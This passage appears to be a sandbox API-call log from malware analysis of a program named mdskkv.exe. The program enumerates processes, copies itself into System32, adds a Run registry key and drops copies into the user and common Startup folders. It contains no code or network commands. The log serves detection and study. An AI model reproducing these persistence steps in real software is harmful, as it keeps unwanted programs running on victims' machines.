massage.exe")) returned 1 [0062.360] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0062.360] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0062.361] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0062.361] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0062.363] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0062.363] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0062.365] lstrlenW (lpString="achieve.exe") returned 11 [0062.365] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0062.367] lstrlenW (lpString="harvard.exe") returned 11 [0062.367] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0062.368] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0062.368] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0062.371] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0062.371] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.372] lstrlenW (lpString="taskhost.exe") returned 12 [0062.372] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0062.374] lstrlenW (lpString="dllhost.exe") returned 11 [0062.374] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0062.375] lstrlenW (lpString="dllhost.exe") returned 11 [0062.375] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0062.377] lstrlenW (lpString="mdskkv.exe") returned 10 [0062.377] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 0 [0062.378] CloseHandle (hObject=0xe0) returned 1 [0062.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605268 | out: hHeap=0x5d0000) returned 1 [0062.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6052b0 | out: hHeap=0x5d0000) returned 1 [0062.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6052f8 | out: hHeap=0x5d0000) returned 1 [0062.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605318 | out: hHeap=0x5d0000) returned 1 [0062.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605360 | out: hHeap=0x5d0000) returned 1 [0062.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x604a00 | out: hHeap=0x5d0000) returned 1 [0062.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4718 | out: hHeap=0x5d0000) returned 1 [0062.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4750 | out: hHeap=0x5d0000) returned 1 [0062.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4348 | out: hHeap=0x5d0000) returned 1 [0062.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4370 | out: hHeap=0x5d0000) returned 1 [0062.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4798 | out: hHeap=0x5d0000) returned 1 [0062.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4398 | out: hHeap=0x5d0000) returned 1 [0062.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x60b428 [0062.380] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x61b430 [0062.381] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a00 [0062.381] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a00, Size=0x20) returned 0x5e4398 [0062.381] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4398, Size=0x40) returned 0x6069a8 [0062.381] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a00 [0062.381] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a00, Size=0x20) returned 0x5e4398 [0062.381] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a00 [0062.381] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a00, Size=0x20) returned 0x5e4370 [0062.381] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a00 [0062.381] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a00, Size=0x20) returned 0x5e4348 [0062.381] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4348, Size=0x40) returned 0x6069f0 [0062.382] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x61b430, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mdskkv.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mdskkv.exe")) returned 0x30 [0062.382] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x62b438 [0062.382] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x63b440 [0062.383] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a00 [0062.383] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a00, Size=0x20) returned 0x5e4348 [0062.383] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4348, Size=0x40) returned 0x606a38 [0062.383] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606a38, Size=0x80) returned 0x605268 [0062.383] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605268, Size=0x100) returned 0x607bb0 [0062.383] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0062.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607bb0 | out: hHeap=0x5d0000) returned 1 [0062.384] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\mdskkv.exe", lpDst=0x62b438, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\mdskkv.exe") returned 0x1f [0062.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63b440 | out: hHeap=0x5d0000) returned 1 [0062.384] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b438 | out: hHeap=0x5d0000) returned 1 [0062.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x2030020 [0062.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a00 [0062.384] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a00, Size=0x20) returned 0x5e4348 [0062.384] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a00 [0062.385] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a00, Size=0x20) returned 0x605930 [0062.385] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0062.385] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0062.385] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0062.385] lstrlenW (lpString="kernel32.dll") returned 12 [0062.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4348 | out: hHeap=0x5d0000) returned 1 [0062.385] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0062.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605930 | out: hHeap=0x5d0000) returned 1 [0062.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mdskkv.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mdskkv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0062.386] CreateFileW (lpFileName="C:\\Windows\\System32\\mdskkv.exe" (normalized: "c:\\windows\\system32\\mdskkv.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0062.391] ReadFile (in: hFile=0xe0, lpBuffer=0x2030020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2030020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0062.470] WriteFile (in: hFile=0xe4, lpBuffer=0x2030020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2030020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0062.476] ReadFile (in: hFile=0xe0, lpBuffer=0x2030020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2030020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0062.476] CloseHandle (hObject=0xe4) returned 1 [0062.485] CloseHandle (hObject=0xe0) returned 1 [0062.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a00 [0062.486] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a00, Size=0x20) returned 0x605930 [0062.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a00 [0062.486] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a00, Size=0x20) returned 0x6058e0 [0062.486] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0062.486] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0062.486] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0062.486] lstrlenW (lpString="kernel32.dll") returned 12 [0062.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6058e0 | out: hHeap=0x5d0000) returned 1 [0062.486] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0062.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605930 | out: hHeap=0x5d0000) returned 1 [0062.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x2030020 | out: hHeap=0x5d0000) returned 1 [0062.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a00 [0062.501] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a00, Size=0x20) returned 0x605930 [0062.502] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605930, Size=0x40) returned 0x606a38 [0062.502] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606a38, Size=0x80) returned 0x62b450 [0062.502] lstrlenW (lpString="C:\\Windows\\System32\\mdskkv.exe") returned 30 [0062.502] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0062.502] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x5c) returned 0x605268 [0062.502] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0062.503] RegSetValueExW (in: hKey=0xe0, lpValueName="mdskkv.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\mdskkv.exe", cbData=0x3c | out: lpData="C:\\Windows\\System32\\mdskkv.exe") returned 0x0 [0062.505] RegCloseKey (hKey=0xe0) returned 0x0 [0062.505] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605268 | out: hHeap=0x5d0000) returned 1 [0062.506] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0062.506] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b450 | out: hHeap=0x5d0000) returned 1 [0062.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x62d438 [0062.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x63d440 [0062.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a00 [0062.506] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a00, Size=0x20) returned 0x605930 [0062.506] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605930, Size=0x40) returned 0x606a38 [0062.506] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606a38, Size=0x80) returned 0x62b450 [0062.506] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b450, Size=0x100) returned 0x607bb0 [0062.506] lstrlenW (lpString="") returned 0 [0062.506] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0062.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c) returned 0x607cb8 [0062.507] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0062.507] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x63d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x63d440*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0062.507] RegCloseKey (hKey=0xe0) returned 0x0 [0062.507] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607cb8 | out: hHeap=0x5d0000) returned 1 [0062.507] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0062.507] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c) returned 0x607cb8 [0062.507] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0062.508] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x63d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0062.508] RegCloseKey (hKey=0xe4) returned 0x0 [0062.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607cb8 | out: hHeap=0x5d0000) returned 1 [0062.509] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0062.509] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0062.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607bb0 | out: hHeap=0x5d0000) returned 1 [0062.509] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mdskkv.exe", lpDst=0x62d438, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mdskkv.exe") returned 0x67 [0062.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63d440 | out: hHeap=0x5d0000) returned 1 [0062.509] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62d438 | out: hHeap=0x5d0000) returned 1 [0062.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x2030020 [0062.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a30 [0062.510] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a30, Size=0x20) returned 0x605930 [0062.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a30 [0062.510] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a30, Size=0x20) returned 0x6058e0 [0062.511] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0062.511] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0062.511] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0062.511] lstrlenW (lpString="kernel32.dll") returned 12 [0062.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605930 | out: hHeap=0x5d0000) returned 1 [0062.511] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0062.511] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6058e0 | out: hHeap=0x5d0000) returned 1 [0062.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mdskkv.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mdskkv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0062.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mdskkv.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\mdskkv.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0062.518] ReadFile (in: hFile=0xe4, lpBuffer=0x2030020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2030020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0062.551] WriteFile (in: hFile=0xe8, lpBuffer=0x2030020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2030020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0062.558] ReadFile (in: hFile=0xe4, lpBuffer=0x2030020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2030020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0062.558] CloseHandle (hObject=0xe8) returned 1 [0062.560] CloseHandle (hObject=0xe4) returned 1 [0062.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a30 [0062.576] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a30, Size=0x20) returned 0x6058e0 [0062.576] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a30 [0062.577] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a30, Size=0x20) returned 0x605930 [0062.577] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0062.577] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0062.577] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0062.577] lstrlenW (lpString="kernel32.dll") returned 12 [0062.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605930 | out: hHeap=0x5d0000) returned 1 [0062.577] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0062.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6058e0 | out: hHeap=0x5d0000) returned 1 [0062.577] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x2030020 | out: hHeap=0x5d0000) returned 1 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x62d438 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x63d440 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a30 [0062.592] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a30, Size=0x20) returned 0x6058e0 [0062.592] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6058e0, Size=0x40) returned 0x606a38 [0062.592] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606a38, Size=0x80) returned 0x62b450 [0062.592] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b450, Size=0x100) returned 0x607bb0 [0062.592] lstrlenW (lpString="") returned 0 [0062.592] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0062.592] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c) returned 0x607cb8 [0062.592] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0062.593] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x63d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0062.593] RegCloseKey (hKey=0xe4) returned 0x0 [0062.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607cb8 | out: hHeap=0x5d0000) returned 1 [0062.593] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0062.593] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0062.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x607bb0 | out: hHeap=0x5d0000) returned 1 [0062.593] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mdskkv.exe", lpDst=0x62d438, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mdskkv.exe") returned 0x48 [0062.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63d440 | out: hHeap=0x5d0000) returned 1 [0062.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62d438 | out: hHeap=0x5d0000) returned 1 [0062.593] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x2030020 [0062.594] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a30 [0062.594] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a30, Size=0x20) returned 0x6058e0 [0062.594] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a30 [0062.594] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a30, Size=0x20) returned 0x605930 [0062.594] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0062.594] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0062.594] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0062.594] lstrlenW (lpString="kernel32.dll") returned 12 [0062.594] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6058e0 | out: hHeap=0x5d0000) returned 1 [0062.594] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0062.595] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605930 | out: hHeap=0x5d0000) returned 1 [0062.595] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mdskkv.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mdskkv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0062.595] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mdskkv.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mdskkv.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0062.599] ReadFile (in: hFile=0xe4, lpBuffer=0x2030020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2030020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0062.644] WriteFile (in: hFile=0xe8, lpBuffer=0x2030020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: 